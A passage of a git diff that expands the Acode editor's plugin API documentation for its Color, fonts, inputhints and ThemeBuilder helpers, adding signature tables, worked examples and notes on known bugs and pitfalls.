+Darkens the color by the specified **ratio of its current lightness**, not by an absolute amount.
+
+| Parameter | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `ratio` | `number` | Yes | — | Fraction of the current lightness to remove. Clamped by `Math.max(0, l - ratio * l)`, so the lightness never goes below `0` |
+
+- Returns: the modified Color instance (`this`)
 
 ```js
 const color = Color("#ff0000");
-color.darken(0.2); // Makes the red 20% darker
+color.darken(0.2).hex.toString(); // "#CC0000"
 ```
 
-### lighten(ratio: number)
+### `lighten(ratio: number)`
+
+Lightens the color by the specified **ratio of its current lightness**, not by an absolute amount.
 
-Lightens the color by the specified ratio.
+| Parameter | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `ratio` | `number` | Yes | — | Fraction of the current lightness to add. Clamped by `Math.min(1, l + ratio * l)`, so the lightness never goes above `1` |
 
-- `ratio`: Number between 0 and 1 indicating how much to lighten
-- Returns: The modified Color instance
+- Returns: the modified Color instance (`this`)
 
 ```js
 const color = Color("#ff0000");
-color.lighten(0.3); // Makes the red 30% lighter
+color.lighten(0.3).hex.toString(); // "#FF4D4D"
 ```
 
+:::info There is no `toHex()`, `toRgb()`, `toHsl()`, `toGrayscale()`, `contrast()`, `mix()` or `invert()`
+Those methods do not exist in this build. Conversion is done by reading the `hex`, `hsl` and `rgb` properties and calling `.toString()` on the value object. There is also no alpha setter and no CSS-variable integration on the `Color` side.
+:::
+
 ## Properties
 
-### isDark
+| Property | Type | Description |
+| --- | --- | --- |
+| `rgb` | `Rgb` instance | **A value object, not a string.** `{ r, g, b }` are integers `0`–`255`; `a` is `0`–`1` |
+| `hex` | `Hex` instance | **A value object, not a string.** `String(color.hex)` yields the hex text |
+| `hsl` | `Hsl` instance | `{ h, s, l }` each `0`–`1`, plus `a` `0`–`1` |
+| `isDark` | `boolean` | `luminance < 0.5` |
+| `isLight` | `boolean` | `luminance >= 0.5` |
+| `lightness` | `number` `0`–`1` | Shorthand for `color.hsl.l` |
+| `luminance` | `number` | `0.2126·r + 0.7152·g + 0.0722·b` on the `0`–`1` channels |
+
+### `isDark`
 
 Returns `true` if the color is considered dark (luminance < 0.5).
 
 ```js
-Color("#000000").isDark // true
-Color("#ffffff").isDark // false
+Color("#000000").isDark; // true
+Color("#ffffff").isDark; // false
 ```
 
-### isLight
+### `isLight`
 
 Returns `true` if the color is considered light (luminance >= 0.5).
 
 ```js
-Color("#ffffff").isLight // true
-Color("#000000").isLight // false
+Color("#ffffff").isLight; // true
+Color("#000000").isLight; // false
 ```
 
-### lightness
+### `lightness`
 
-Returns the HSL lightness value of the color (between 0 and 1).
+Returns the HSL lightness value of the color (between 0 and 1). Note this is `Color`'s own `0`–`1` value, **not** the `0`–`100` `Hsl.lightness` getter.
 
 ```js
-Color("#808080").lightness // 0.5
+Color("#808080").lightness; // 0.5019607843137255  (128 / 255)
+Color("#ffffff").lightness; // 1
 ```
 
-### luminance
+### `luminance`
 
 Returns the perceived brightness of the color (between 0 and 1).
 
 ```js
-Color("#ff0000").luminance // ~0.2126
+Color("#ff0000").luminance; // 0.2126
+Color("#ffffff").luminance; // 1
+```
+
+### `hex`
+
+Returns a **`Hex` value object**, not a string. Call `.toString()` (or `String()`) on it.
+
+```js
+const hex = Color("rgb(255,0,0)").hex; // Hex { r: 255, g: 0, b: 0, a: 255 }
+hex.toString(); // "#FF0000"  (uppercase)
+```
+
+| `Hex` member | Type | Description |
+| --- | --- | --- |
+| `r`, `g`, `b` | `number` | Channel values |
+| `a` | `number` | Alpha, `0`–`255` |
+| `toString(alpha?)` | `string` | With no argument: `#RRGGBB` when `a === 255`, otherwise `#RRGGBBAA`. `toString(true)` always appends alpha, `toString(false)` never does |
+| `rgb` | `Rgb` | Round-trips back to an `Rgb` instance |
+
+### `hsl`
+
+Returns an **`Hsl` value object**, not a plain `{h, s, l}` literal.
+
+```js
+const hsl = Color("#ff0000").hsl; // Hsl { h: 0, s: 1, l: 0.5, a: 1 }
+hsl.hValue; // 0    (0-360)
+hsl.sValue; // 100  (0-100)
+hsl.lValue; // 50   (0-100)
+hsl.toString(); // "hsl(0, 100%, 50%)"
+hsl.rgb.toString(); // "rgb(255, 0, 0)"
+```
+
+| `Hsl` member | Type | Description |
+| --- | --- | --- |
+| `h`, `s`, `l`, `a` | `number` | `h`/`s`/`l` normalised to `0`–`1`, `a` `0`–`1` |
+| `hValue`, `hue` | `number` | Hue in degrees, `0`–`360` |
+| `sValue`, `saturation` | `number` | Saturation in percent, `0`–`100` |
+| `lValue` | `number` | Lightness in percent, `0`–`100` |
+| `lightness` | `number` | Alias of `lValue` — **percent**, unlike `Color.lightness` |
+| `rgb` | `Rgb` | Convert back to RGB (channels are rounded with `Math.round`) |
+| `toString(alpha?)` | `string` | `hsl(H, S%, L%)`, or `hsla(H, S%, L%, A)` when `a !== 1` |
+
+### `rgb`
+
+Returns the **`Rgb` value object**. This is the only safe representation for translucent colors.
+
+```js
+const rgb = Color("rgba(255,0,0,0.5)").rgb; // Rgb { r: 255, g: 0, b: 0, a: 0.5 }
+rgb.toString(); // "rgba(255, 0, 0, 0.5)"
 ```
 
-### hex
+| `Rgb` member | Type | Description |
+| --- | --- | --- |
+| `r`, `g`, `b` | `number` | Integer channels, `0`–`255` |
+| `a` | `number` | Alpha, `0`–`1` |
+| `toString(alpha?)` | `string` | With no argument: `rgb(r, g, b)` when `a === 1`, otherwise `rgba(r, g, b, a)`. `toString(true)` forces `rgba(...)`, `toString(false)` forces `rgb(...)` |
 
-Returns the hexadecimal representation of the color.
+## Complete example
 
 ```js
-Color("rgb(255,0,0)").hex // "#ff0000"
+const Color = acode.require("Color");
+const ThemeBuilder = acode.require("themeBuilder");
+
+const brand = "#2196F3";
+
+// Every call returns a brand new instance, so build each step from the original
+// string — darken()/lighten() mutate and return `this`, they do not copy.
+const ramp = [
+  brand,
+  Color(brand).darken(0.15).hex.toString(),
+  Color(brand).darken(0.35).hex.toString(),
+  Color(brand).lighten(0.25).hex.toString(),
+]; // ["#2196F3", "#0C81DF", "#0963AA", "#62B5F7"]
+
+// Pick a readable foreground for any background
+function textColorFor(bg) {
+  return Color(bg).isDark ? "#FFFFFF" : "#121212";
+}
+
+// Feed the result straight into a theme. Assigning primaryColor also recomputes
+// darkenedPrimaryColor, because autoDarkened defaults to true.
+const theme = new ThemeBuilder("Ramp", "dark");
+theme.primaryColor = brand;
+theme.primaryTextColor = textColorFor(theme.primaryColor);
+
+console.log(ramp);
+console.log(theme.darkenedPrimaryColor); // "#085B9D"
+console.log(String(Color("rgba(255,0,0,0.5)").rgb)); // "rgba(255, 0, 0, 0.5)"
 ```
 
-### hsl
+## Gotchas
 
-Returns the HSL representation of the color.
+::: warning Invalid input never throws — it silently returns the previous color
+`ctx.fillStyle = color` is ignored by the canvas when the string is unparseable, and the fill style from the **previous** `Color(...)` call is kept. `clearRect()` does not reset it. So:
 
 ```js
-Color("#ff0000").hsl // {h: 0, s: 1, l: 0.5}
+Color("not-a-color").hex.toString(); // "#000000" — canvas default, on a fresh session
+Color("#ff0000");
+Color("not-a-color").hex.toString(); // "#FF0000" — the previous color, not an error
 ```
+
+Validate strings yourself before passing them in.
+:::
+
+::: warning `.hex` is an object, not a string
+`Color("#ff0000").hex === "#ff0000"` is **false**. `hex`, `hsl` and `rgb` all return value objects. Use `.toString()` (or `String(...)`) whenever you need text.
+:::
+
+::: danger `.hex.toString()` is broken for translucent colors
+`Hex.fromRgb()` stores `alpha × 255` **without rounding**. When that product is not a whole number the alpha becomes a fraction and the output is malformed:
+
+```js
+Color("rgba(255,0,0,0.5)").hex.toString(); // "#FF00007f.8"  <- not a valid CSS color
+Color("rgba(255,0,0,0.5)").rgb.toString(); // "rgba(255, 0, 0, 0.5)"  <- correct
+```
+
+Use `.rgb.toString()` (or `.hsl.toString()`) whenever alpha is involved.
+:::
+
+::: warning `Color` has no `rgba` getter
+`ThemeBuilder.toJSON("rgba")` calls `Color(value).rgba.toString()` internally, but `rgba` does not exist on `Color` — that call path throws a `TypeError`. Use `toJSON("hex")` or the default `toJSON()`. See [Theme Builder](./theme-builder.md).
+:::
+
+::: info `luminance` is not WCAG relative luminance
+It is a plain weighted sum of the non-linearised `0`–`1` channels (`0.2126/0.7152/0.0722`) with no gamma correction, so it does not match the contrast ratios in WCAG 2.x. Use it for "light vs dark" decisions, as `isDark`/`isLight` do.
+:::
+
+::: warning `darken`/`lighten` are relative and mutate in place
+The `ratio` is a fraction of the **current** lightness, so `darken(0.2)` twice is not the same as `darken(0.4)` once, and the methods return `this` rather than a copy. They also cannot move pure black: `Color("#000000").lighten(0.5)` stays black because `ratio × 0 === 0`.
+:::
+
+## See also
+
+- [Theme Builder](./theme-builder.md) — `ThemeBuilder` builds on this helper for `darkenPrimaryColor()` and `toJSON("hex")`.
+- [Themes](./themes.md) — how themes are registered and listed.
+- [`acode.require()`](../global-apis/acode.md) — how modules are resolved.
diff --git a/docs/helpers/fonts.md b/docs/helpers/fonts.md
index 637d4f8..d5fdf89 100644
--- a/docs/helpers/fonts.md
+++ b/docs/helpers/fonts.md
@@ -2,20 +2,60 @@
 
 A straightforward API for managing fonts in your Acode project.
 
+:::info Verified against Acode v1.13.5
+Every signature below is taken from `src/lib/fonts.js`.
+:::
+
 ## Quick Start
 
 ```javascript
 const fonts = acode.require('fonts');
 ```
 
+::: warning `fonts` is not a global
+It is only reachable through [`acode.require()`](../global-apis/acode.md). Module names are matched case-insensitively, and an unknown name returns `undefined` rather than throwing.
+:::
+
+## What a "font" is
+
+::: tip There is no font object
+The registry is a plain `Map` from name to CSS text. A font is therefore just the **pair** `(name, css)`, and `get()` hands you back only the CSS half:
+
+```javascript
+fonts.get('Developer Mono');
+// "@font-face {\n  font-family: 'Developer Mono';\n  ... }"
+```
+
+The map is keyed by the **exact** name string, so lookups are case-sensitive.
+:::
+
+The `css` value must be one or more complete `@font-face` rules. The `font-family` inside it should be written with **single quotes and the exact same text as the name**, because that is the string the app uses to detect an already-injected face.
+
 ## Core Methods
 
+| Method | Signature | Returns |
+| --- | --- | --- |
+| `add` | `add(name: string, css: string)` | `undefined` |
+| `addCustom` | `addCustom(name: string, css: string)` | `undefined` |
+| `get` | `get(name: string)` | `string \| undefined` |
+| `getNames` | `getNames()` | `string[]` |
+| `remove` | `remove(name: string)` | `boolean` |
+| `has` | `has(name: string)` | `boolean` |
+| `isCustom` | `isCustom(name: string)` | `boolean` |
+| `setFont` | `setFont(name: string)` | `Promise<void>` |
+| `setEditorFont` | `setEditorFont(name: string)` | `Promise<void>` |
+| `setAppFont` | `setAppFont(name?: string)` | `Promise<void>` |
+| `loadFont` | `loadFont(name: string)` | `Promise<string>` |
+| `injectFontFace` | `injectFontFace(name: string)` | `undefined` |
+
 ### `add(name, css)`
-Adds a new font to your project.
+Adds a new font to your project. Registered **for this session only** — it is not written to storage and disappears when the app restarts.
 
 **Parameters:**
-- `name`: Unique identifier for the font
-- `css`: CSS `@font-face` declaration
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `name` | `string` | Yes | — | Key the font is stored and looked up under. Overwrites any existing entry with the same name |
+| `css` | `string` | Yes | — | One or more `@font-face` declarations |
 
 **Example:**
 ```javascript
@@ -29,17 +69,164 @@ fonts.add(
 );
 ```
 
+::: info Use `addCustom` if you want the font to survive a restart
+`addCustom()` does everything `add()` does and additionally records the name in the `custom_fonts` set and rewrites the whole `custom_fonts` entry in `localStorage`. On the next app start `loadCustomFonts()` reads that key back and re-registers every saved custom font.
+:::
+
+### `addCustom(name, css)`
+Adds a font **and persists it** to `localStorage` under the key `custom_fonts`.
+
+**Parameters:**
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `name` | `string` | Yes | — | Key the font is stored and looked up under |
+| `css` | `string` | Yes | — | One or more `@font-face` declarations |
+
+**Returns:** `undefined`
+
 ### `get(name)`
-Retrieves a specific font's details.
+Retrieves a specific font's **CSS text**.
+
+**Parameters:**
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `name` | `string` | Yes | — | Exact registry key |
 
-**Returns:** Font object with `name` and `css` properties
+**Returns:** the raw `@font-face` string, or `undefined` when the name is not registered.
 
 ```javascript
-const font = fonts.get('Developer Mono');
+const css = fonts.get('Developer Mono');
 ```
 
 ### `getNames()`
 Lists all available font names.
 
+**Returns:** a new `Array` of every registered name — the 11 pre-installed fonts plus anything you added.
+
 ```javascript
 const fontList = fonts.getNames();
+```
+
+Pre-installed fonts: `Fira Code`, `Roboto Mono` (the editor default), `MesloLGS NF Regular`, `Source Code`, `Victor Mono Italic`, `Victor Mono Medium`, `Cascadia Code`, `Proggy Clean`, `JetBrains Mono Bold`, `JetBrains Mono Regular`, `Noto Mono`.
+
+### `remove(name)`
+Removes a font from the registry.
+
+**Parameters:**
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `name` | `string` | Yes | — | Exact registry key |
+
+**Returns:** `boolean` — `true` when something was actually removed. On success the name is also dropped from the custom set and `localStorage` is rewritten.
+
+### `has(name)`
+Membership test.
+
+**Returns:** `boolean`
+
+### `isCustom(name)`
+Returns `true` when the name was registered through `addCustom()` (and is therefore persisted).
+
+**Returns:** `boolean`
+
+### `setFont(name)` / `setEditorFont(name)`
+Applies a font to the code editor. `setFont` is a plain alias of `setEditorFont` — the theme applier calls `fonts.setFont(...)` too.
+
+**Parameters:**
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `name` | `string` | Yes | — | A name that exists in the registry |
+
+**Returns:** `Promise<void>`. Shows a title loader while it works, then writes a `<style id="editor-font-style">` rule:
+
+```js
+// .editor-container.ace_editor { font-family: "<name>", NotoMono, Monaco, MONOSPACE !important; }
+// .ace_text { font-family: inherit !important; }
+```
+
+If the font cannot be loaded it toasts `"<name> font not found"` and falls back to `Roboto Mono` — it never rejects.
+
+### `setAppFont(name)`
+Applies a font to the whole application UI.
+
+**Parameters:**
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `name` | `string` \| falsy | No | none — there is no JS default | A registered font name. Any falsy value (`undefined`, `""`, …) takes the early-return branch and resets to the `"Roboto", sans-serif` stack |
+
+**Returns:** `Promise<void>`. Writes a `<style id="app-font-style">` rule:
+
+```js
+// :root { --app-font-family: "<name>", "Roboto", sans-serif; }
+```
+
+On failure it toasts `"<name> font not found"` and resets to the default stack. It does not reject.
+
+### `loadFont(name)`
+Loads a font into the document's `<style id="font-face-style">` element, resolving remote files first.
+
+**Parameters:**
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `name` | `string` | Yes | — | A registered font name |
+
+**Returns:** `Promise<string>` resolving with the (possibly rewritten) CSS text. **Rejects** with `Error("Font <name> not found")` when the name is not in the registry.
+
+For every `url(...)` in the CSS that starts with `http(s)` — skipping `localhost` — the file is downloaded once into `<DATA_STORAGE>/fonts/<name>` and the URL is replaced with an internal file URI. Then `document.fonts.load("12px '<name>'")` is awaited so the face is actually parsed.
+
+### `injectFontFace(name)`
+Non-blocking best-effort injection of the `@font-face` block, with no download step.
+
+**Returns:** `undefined`. Does nothing when `get(name)` is `undefined`.
+
+## How a plugin applies a font
+
+```javascript
+const fonts = acode.require('fonts');
+
+(async () => {
+  fonts.addCustom(
+    'Developer Mono',
+    `@font-face {
+      font-family: 'Developer Mono';
+      src: url('https://acode.app/SourceCodePro.ttf') format('truetype');
+      font-weight: 300 700;
+      font-style: normal;
+    }`
+  );
+
+  // Editor pane
+  await fonts.setEditorFont('Developer Mono');
+
+  // Whole app UI
+  await fonts.setAppFont('Developer Mono');
+
+  console.log(fonts.has('Developer Mono'));     // true
+  console.log(fonts.isCustom('Developer Mono')); // true
+  console.log(fonts.getNames());                 // [... 'Developer Mono']
+})();
+```
+
+## Gotchas
+
+::: warning `get()` returns a CSS string, not a font object
+`fonts.get('Developer Mono')` is the `@font-face` text (or `undefined`). There is no `{ name, css }` record to read.
+:::
+
+::: danger Remote font downloads are cached under the font **name**, not the URL
+`downloadFont()` writes to `<DATA_STORAGE>/fonts/<name>` and returns early if that file already exists. Two different `@font-face` rules whose `src` differs but whose registered name is the same will silently share one cached file. Give every distinct source its own name.
+:::
+
+::: warning `remove()` on a pre-installed font only lasts for the session
+The eleven built-in fonts are re-registered when the module initialises, so `remove('Fira Code')` succeeds (`true`) but the font comes back on the next app start.
+:::
+
+::: info The `name` must match the `font-family` exactly, in single quotes
+`injectFontFace()` and `loadFont()` both detect an already-injected face with `$style.textContent.includes(\`font-family: '${name}'\`)`. If your CSS uses `font-family: "My Font"` (double quotes), a different case, or extra whitespace inside the quotes, the dedupe and replace logic silently misses and the rule is appended again on every load.
+:::
+
+## See also
+
+- [Theme Builder](./theme-builder.md) — an app theme can also pin a default editor font via `preferredFont`.
+- [Themes](./themes.md) — how themes are registered and listed.
+- [`acode.require()`](../global-apis/acode.md) — how modules are resolved.
diff --git a/docs/helpers/input-hints.md b/docs/helpers/input-hints.md
index 78f9419..9860359 100644
--- a/docs/helpers/input-hints.md
+++ b/docs/helpers/input-hints.md
@@ -1,5 +1,11 @@
 # Input Hints
 
+`acode.require('inputhints')` is the low-level autocomplete-list widget that powers Acode's own search palette. It attaches a filterable dropdown of hints to a plain `<input>` and cleans itself up when the field loses focus.
+
+:::info Verified against Acode v1.13.5
+Every signature below is taken from `src/components/inputhints/index.js`.
+:::
+
 **Functionality:**
 
 * Generates a list of hints based on user input.
@@ -11,10 +17,13 @@ you import like this
 ```javascript
 const inputHints = acode.require('inputHints');
 ```
-then
+
+::: warning The module id is `inputhints`
+`acode.require('inputHints')` happens to work because `require()` lower-cases the name before the lookup, but the registered id is `inputhints` (all lowercase). Both spellings resolve to the same function.
+:::
 
 ```javascript
-const inputHints = acode.require('inputHints');
+const inputhints = acode.require('inputhints');
 
 const $input = document.getElementById("myInput");
 const hints = ["apple", "banana", "cherry"]; // Array of hint strings
@@ -29,26 +38,223 @@ console.log("Selected hint element:", hintsComponent.getSelected());
 console.log("Hint list container:", hintsComponent.container);
 ```
 
-**Explanation:**
-
-1. **Import**: Import the `inputhints` function from its location.
-2. **Arguments**:
-   * `$input`: The HTMLInputElement representing the input field.
-   * `hints`: An array of hint strings or a callback function that generates hints dynamically.
-   * `onSelect`: (Optional) A callback function called when a user selects a hint.
-3. **Return Value**: The function returns an object with two properties:
-   * `getSelected()`: Returns the currently selected hint element (HTMLLIElement) or null.
-   * `container`: The HTMLUListElement representing the entire hint list container.
-
-**Key Functionalities:**
-
-* **Hint Generation**:
-   * If `hints` is a function, it's called to generate hints dynamically.
-   * Hints are filtered based on the user's input using regular expressions (case-insensitive).
-* **Hint Display**:
-   * Up to 100 hints are displayed at a time with pagination for longer lists.
-   * The hint list automatically positions itself below or above the input field based on available space.
-* **Hint Selection**:
-   * Users can select hints using the mouse or keyboard arrows.
-   * Selecting a hint populates the input field with the hint value and optionally calls the `onSelect` callback.
+## Signature
+
+```js
+inputhints($input, hints, onSelect, options = {})
+```
+
+| Parameter | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `$input` | `HTMLInputElement` | Yes | — | The field to attach to. A `focus` listener is bound immediately, before the function returns |
+| `hints` | `Array<string \| HintObj>` \| `HintCallback` | Yes | — | A static hint list, or a function that produces one |
+| `onSelect` | `(value: string) => void` | No | `undefined` | Called with the selected hint's `value`. Optional — the code guards with `if (onSelect)` |
+| `options` | `object` | No | `{}` | Options object |
+| `options.dynamic` | `boolean` | No | falsy | Re-invoke a `HintCallback` on every keystroke instead of filtering the initial list locally. Only meaningful when `hints` is a function |
+
+**Returns** — this is the entire public surface:
+
+| Field | Type | Description |
+| --- | --- | --- |
+| `getSelected()` | `undefined` | **Returns nothing.** The implementation looks up the `.active` row and discards the result. Read `container` yourself instead |
+| `container` (getter) | `HTMLUListElement` | The same `<ul id="hints">` for the lifetime of the component. While the field is blurred it is simply detached from the document — check `container.isConnected` rather than expecting `null` |
+
+## Hint item shape
+
+Each entry is either a plain string or an object:
+
+| Field | Type | Required | Description |
+| --- | --- | --- | --- |
+| `value` | `string` | Yes | Handed to `onSelect`, and rendered as the row's `value` attribute |
+| `text` | `string` | Yes | Rendered as the row's `innerHTML` after `DOMPurify.sanitize()`. Also what filters against your typing |
+| `active` | `boolean` | No | Start with this row highlighted |
+
+Passing a bare string is shorthand for `{ value: str, text: str }`.
+
+```javascript
+const hints = [
+  'plain string',
+  { value: 'file:///sdcard/a.js', text: '<strong>a.js</strong>' },
+  { value: 'file:///sdcard/b.js', text: '<strong>b.js</strong>', active: true },
+];
+```
+
+## Dynamic hints
+
+Pass a function instead of an array to generate hints yourself:
+
+| Type | Signature | Description |
+| --- | --- | --- |
+| `HintCallback` | `(setHints: (hints: Array<Hint>) => void, modification: HintModification, query: string) => void` | Note the argument order: **the setter first, the query last** |
+| `HintModification` | `{ add(item, index?), remove(item), removeIndex(index) }` | Incremental edits to the current list, for streamed results |
+| `Hint` | `string \| HintObj` | As above |
+
+With a callback provider:
+
+1. A single loading row (the localised `loading...` string) is rendered first.
+2. The callback is invoked **immediately** with an empty `query`.
+3. Call `setHints(list)` when your results arrive; that also clears the loading state.
+4. With `options.dynamic: true`, it is re-invoked 120 ms after the last keystroke with the current input value. A version counter discards responses that arrive out of order, and the timer is cancelled on blur.
+
+Without `dynamic`, the callback runs exactly once and the returned list is filtered locally as you type.
+
+## Behaviour
+
+**Show / hide.** `focus` on the input attaches the `keypress`, `keydown`, `blur` and `input` listeners plus a `window` `resize` listener, appends the `<ul>` to `app` (`document.body`) and positions it. `blur` clears both pending timers, bumps the version counter, removes every listener and calls `$ul.remove()`. The list is only in the DOM while the field is focused.
+
+**Filtering** (static mode). The typed text is escaped with `escapeRegExp()` and compiled into a case-insensitive `RegExp`. A hint survives if the regex matches its `value` **or** its `text` — so markup inside `text` can influence matching.
+
+**Pagination.** At most `LIMIT = 100` rows are rendered. Scrolling to the bottom appends the next 100. The first render is synchronous; every later one is debounced by 300 ms.
+
+**Empty result.** When nothing matches, a single non-selectable row reading `No matches found` is rendered.
+
+**Positioning.** `position: fixed`. The list goes **below** the input when at least half the viewport height remains beneath it (`top = input.bottom + 5`), otherwise **above** (`bottom = input.top - 5`, plus the `.bottom` class which flips the corner radius). `left` and `width` mirror the input's bounding box. If no row is highlighted, the first row is marked `.active`.
+
+**Selection.**
+
+| Input | Effect |
+| --- | --- |
+| Click / tap | Fills the input with the row's `textContent` (the rendered text, markup stripped), then calls `onSelect(value)` with the row's `value` attribute, then hides the list |
+| `Enter` | Does nothing unless a row is `.active`. Calls `onSelect(value)` — and **only** writes to the input when `onSelect` was **not** supplied |
+| `ArrowDown` / `ArrowUp` | Moves `.active` to the next/previous row, wrapping at both ends, and calls `scrollIntoView()` |
+
+## Complete example: hints on a custom page input
+
+```javascript
+// main.js
+if (window.acode) {
+  const inputhints = acode.require('inputhints');
+
+  acode.setPluginInit('com.example.hints', (baseUrl, $page) => {
+    const FRUITS = ['apple', 'apricot', 'avocado', 'banana', 'cherry', 'lemon'];
+
+    const $input = <input type="text" placeholder="Pick a fruit…" />;
+    const $output = <small className="value"></small>;
+
+    $input.oninput = () => {
+      $output.textContent = $input.value ? `You typed "${$input.value}"` : '';
+    };
+
+    const component = inputhints($input, FRUITS, (value) => {
+      $output.textContent = `Selected: ${value}`;
+    });
+
+    $page.appendBody(
+      <form className="main">
+        <div className="text">{"Fruit"}</div>
+        {$input}
+        {$output}
+        <small>{component.container.isConnected ? "List is mounted" : "List is detached"}</small>
+      </form>
+    );
+  });
+}
+```
+
+## Complete example: hints on a plugin settings-page input
+
+Because `acode.require('settingsPage')` does not exist, the way to put a hinted input on a settings page is to build it yourself on the plugin's own page:
+
+```javascript
+const inputhints = acode.require('inputhints');
+const settings = acode.require('settings');
+const storageKey = 'com.example.themepicker';
+
+settings.value[storageKey] = { theme: '', ...(settings.value[storageKey] || {}) };
+const values = settings.value[storageKey];
+
+function save() {
+  return settings.update(false);
+}
+
+acode.setPluginInit(
+  storageKey,
+  (baseUrl, $page) => {
+    const THEMES = ['system', 'dark', 'light', 'oled', 'monokai', 'noctisLilac'];
+
+    const $input = <input type="text" value={values.theme} placeholder="Theme id…" />;
+    const $status = <small className="value">{values.theme || "No theme selected yet"}</small>;
+
+    // Dynamic provider: only the callback runs per keystroke, the component
+    // does the filtering and rendering.
+    inputhints(
+      $input,
+      (setHints, modification, query) => {
+        const escaped = String(query).replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
+        const regexp = new RegExp(escaped, 'i');
+        setHints(
+          THEMES.filter((id) => regexp.test(id)).map((id) => ({
+            value: id,
+            text: id === query.toLowerCase() ? `<strong>${id}</strong>` : id,
+          }))
+        );
+      },
+      (value) => {
+        values.theme = value;
+        $status.textContent = `Selected: ${value}`;
+        save();
+      },
+      { dynamic: true }
+    );
+
+    $page.appendBody(
+      <form className="main">
+        <div className="text">{"App theme"}</div>
+        {$input}
+        {$status}
+      </form>
+    );
+  },
+  {
+    list: [{ key: 'theme', text: 'App theme', value: values.theme }],
+    cb(key, value) {
+      values[key] = value;
+      save();
+    },
+  },
+);
+```
+
+## Gotchas
+
+::: danger `getSelected()` always returns `undefined`
+The JSDoc claims `() => HTMLLIElement`, but the body of the function calls `$ul.get('.active')` **without returning it**. Use the container instead:
+
+```javascript
+const component = inputhints($input, hints, onSelect);
+const active = () => component.container?.get('.active') ?? component.container?.firstElementChild;
+```
+:::
+
+::: warning Click and Enter behave differently
+A click always writes to the input and then calls `onSelect`. Enter only calls `onSelect` — the input is written to *only if you passed no `onSelect`*. If you supply `onSelect`, you own filling the field.
+:::
+
+::: warning Enter does not close the list
+`handleKeypress` never calls `onblur()`, so after pressing Enter the list stays open until the field blurs. The click path does close it.
+:::
+
+::: warning The `focus` listener is never removed
+`$input.addEventListener('focus', onfocus)` runs once at construction and is not part of the teardown. Calling `inputhints()` twice on the same input attaches two independent widgets, and destroying the input leaves the listener behind. Create one per input, and drop the input with the page.
+:::
+
+::: danger `text` is injected as HTML
+Rows are built with `innerHTML={DOMPurify.sanitize(text)}`. Sanitisation strips scripts but keeps markup such as `<img>`, so putting raw user content in `text` can still trigger network requests. `value` is *not* rendered — it is only the `value` attribute — so put untrusted strings there and keep `text` for trusted formatting.
+:::
+
+::: info Filtering also matches `text`, not just `value`
+Because the regex is tested against both fields, a `<strong>` inside `text` is part of the searchable string. Keep `value` and `text` aligned if you rely on prefix matching.
+:::
+
+::: warning `container` is only in the document while focused
+Blur calls `$ul.remove()`, so after dismissal `component.container.isConnected` is `false`. The element object itself is stable, so resolving it at use time is fine — do not cache anything derived from its children across focus cycles.
+:::
+
+::: info Only 100 rows render at a time
+The `LIMIT` constant is `100`; further pages are appended on scroll. The source comment saying "first 500" is stale.
+:::
+
+## See also
 
+- [Palette](../editor-components/palette.md) — the same widget wrapped in a search overlay, with a promise-free `palette(...)` entry point.
+- [`acode.require()`](../global-apis/acode.md) — how modules are resolved.
diff --git a/docs/helpers/theme-builder.md b/docs/helpers/theme-builder.md
index 4ee7387..a8c305d 100644
--- a/docs/helpers/theme-builder.md
+++ b/docs/helpers/theme-builder.md
@@ -5,6 +5,10 @@
 
 The `ThemeBuilder` api from the `acode` core libraries  provides a solution for creating and customizing themes in Acode . It offers control over various UI elements, colors, and styles.
 
+:::info Verified against Acode v1.13.5
+Every signature below is taken from `src/theme/builder.js`.
+:::
+
 ### Basic Usage
 
 1. **Import the ThemeBuilder Class**
@@ -19,8 +23,11 @@ const ThemeBuilder = acode.require('themeBuilder');
 const myTheme = new ThemeBuilder("MyDarkTheme", "dark");
 ```
 
-- **Theme Name**: A descriptive name reflecting the theme's style (e.g., `"MyDarkTheme"`)
-- **Theme Mode**: Specifies the base mode (`"light"` or `"dark"`)
+| Parameter | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `name` | `string` | No | `""` | Display name. Also the registry key, via `theme.id === name.toLowerCase()` |
+| `type` | `"dark" \| "light"` | No | `"dark"` | Base mode. Copied to `<body theme-type="…">` when the theme is applied |
+| `version` | `"free" \| "paid"` | No | `"free"` | `"paid"` themes are ignored on builds without Pro. Keep `"free"` for plugin themes |
 
 3. **Customize Theme Properties**
 
@@ -31,35 +38,153 @@ myTheme.textColor = "#ffffff";
 myTheme.backgroundColor = "#121212";
 ```
 
+::: warning Two of the four lines above do nothing
+`textColor` and `backgroundColor` are **not** ThemeBuilder properties, and there are no `--text-color` / `--background-color` custom properties in this build. Assigning them just creates inert own properties on the object. The real text colour property is `secondaryTextColor`, and the surface colour is `secondaryColor`. See the full table below.
+:::
+
 ### Customizable Theme Properties
 
+Every colour is a plain getter/setter pair backed by one CSS custom property. The right-hand column is the default a fresh builder starts with.
+
 #### Color Palette
-- `primaryColor`: Main color for primary elements
-- `secondaryColor`: Accent color for secondary elements
-- `textColor`: Main text color
-- `backgroundColor`: Application background color
-- `activeColor`: Color for active elements
-- `dangerColor`: Color for error or destructive actions
-- `linkTextColor`: Color for clickable links
+| Property | CSS custom property | Default | Description |
+| --- | --- | --- | --- |
+| `primaryColor` | `--primary-color` | `rgb(153, 153, 255)` | Main colour for primary elements. Assigning it also recomputes `darkenedPrimaryColor` when `autoDarkened` is on |
+| `primaryTextColor` | `--primary-text-color` | `rgb(255, 255, 255)` | Text drawn on `--primary-color` |
+| `secondaryColor` | `--secondary-color` | `rgb(255, 255, 255)` | Surface / panel colour |
+| `secondaryTextColor` | `--secondary-text-color` | `rgb(37, 37, 37)` | Body text colour |
+| `activeColor` | `--active-color` | `rgb(51, 153, 255)` | Highlight for the selected row, active tab |
+| `activeTextColor` | `--active-text-color` | `rgb(255, 215, 0)` | Text on the active element |
